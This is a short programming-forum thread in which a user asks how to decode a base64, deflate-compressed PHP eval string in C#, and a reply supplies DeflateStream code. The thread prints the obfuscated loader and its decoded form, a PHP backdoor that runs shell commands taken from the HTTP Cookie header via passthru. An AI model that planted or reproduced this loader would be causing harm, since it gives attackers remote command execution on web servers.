Skip to content
  • Categories
  • Recent
  • Tags
  • Popular
  • World
  • Users
  • Groups
Skins
  • Light
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse
Code Project
  1. Home
  2. General Programming
  3. C#
  4. Help decoding base_64+GZipped string.

Help decoding base_64+GZipped string.

Scheduled Pinned Locked Moved C#
helpcsharpphpquestion
4 Posts 2 Posters 0 Views 1 Watching
  • Oldest to Newest
  • Newest to Oldest
  • Most Votes
Reply
  • Reply as topic
Log in to reply
This topic has been deleted. Only users with topic management privileges can see it.
  • Z Offline
    Z Offline
    Zeokat
    wrote on last edited by
    #1

    Well, the string comes from php code:

    eval(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==')));

    But i want to decode it using c#... so i have to decode the string: s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA== It´s encoded with base64, decoding it is easy, the problem is that i tryed some codes that i find in google to decompress but no luck. To be honest i have no idea about how can i solve it... perhaps someone can help me. I know that the result of decode that string should be something like:

    {@passthru(getenv("HTTP_COOKIE"));}

    Thanks in advancce.

    G 1 Reply Last reply
    0
    • Z Zeokat

      Well, the string comes from php code:

      eval(gzinflate(base64_decode('s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA==')));

      But i want to decode it using c#... so i have to decode the string: s7ezsS/IKFCodihILC4uySgq1UhPLUnNK9NQ8ggJCYh39vf39nRV0tS0rlWwB6oFAA== It´s encoded with base64, decoding it is easy, the problem is that i tryed some codes that i find in google to decompress but no luck. To be honest i have no idea about how can i solve it... perhaps someone can help me. I know that the result of decode that string should be something like:

      {@passthru(getenv("HTTP_COOKIE"));}

      Thanks in advancce.

      G Offline
      G Offline
      Guffa
      wrote on last edited by
      #2

      The code is not GZipped, it's Deflated. The decoded string is: "?><?php {@passthru(getenv("HTTP_COOKIE"));} ?><?" Code:

      string result;
      using (StreamReader reader = new StreamReader(new DeflateStream(new MemoryStream(Convert.FromBase64String(code)), CompressionMode.Decompress, true))) {
      result = reader.ReadToEnd();
      }

      Despite everything, the person most likely to be fooling you next is yourself.

      modified on Friday, December 5, 2008 8:19 PM

      Z 1 Reply Last reply
      0
      • G Guffa

        The code is not GZipped, it's Deflated. The decoded string is: "?><?php {@passthru(getenv("HTTP_COOKIE"));} ?><?" Code:

        string result;
        using (StreamReader reader = new StreamReader(new DeflateStream(new MemoryStream(Convert.FromBase64String(code)), CompressionMode.Decompress, true))) {
        result = reader.ReadToEnd();
        }

        Despite everything, the person most likely to be fooling you next is yourself.

        modified on Friday, December 5, 2008 8:19 PM

        Z Offline
        Z Offline
        Zeokat
        wrote on last edited by
        #3

        Big Thanks, very apreciated your answer and your time :cool:

        Z 1 Reply Last reply
        0
        • Z Zeokat

          Big Thanks, very apreciated your answer and your time :cool:

          Z Offline
          Z Offline
          Zeokat
          wrote on last edited by
          #4

          And how can i compress a string... tryed to compress the original string but the reult is different. I´m confused... perhaps someone can help. Thanks in advance. ;)

          1 Reply Last reply
          0
          Reply
          • Reply as topic
          Log in to reply
          • Oldest to Newest
          • Newest to Oldest
          • Most Votes


          • Login

          • Don't have an account? Register

          • Login or register to search.
          • First post
            Last post
          0
          • Categories
          • Recent
          • Tags
          • Popular
          • World
          • Users
          • Groups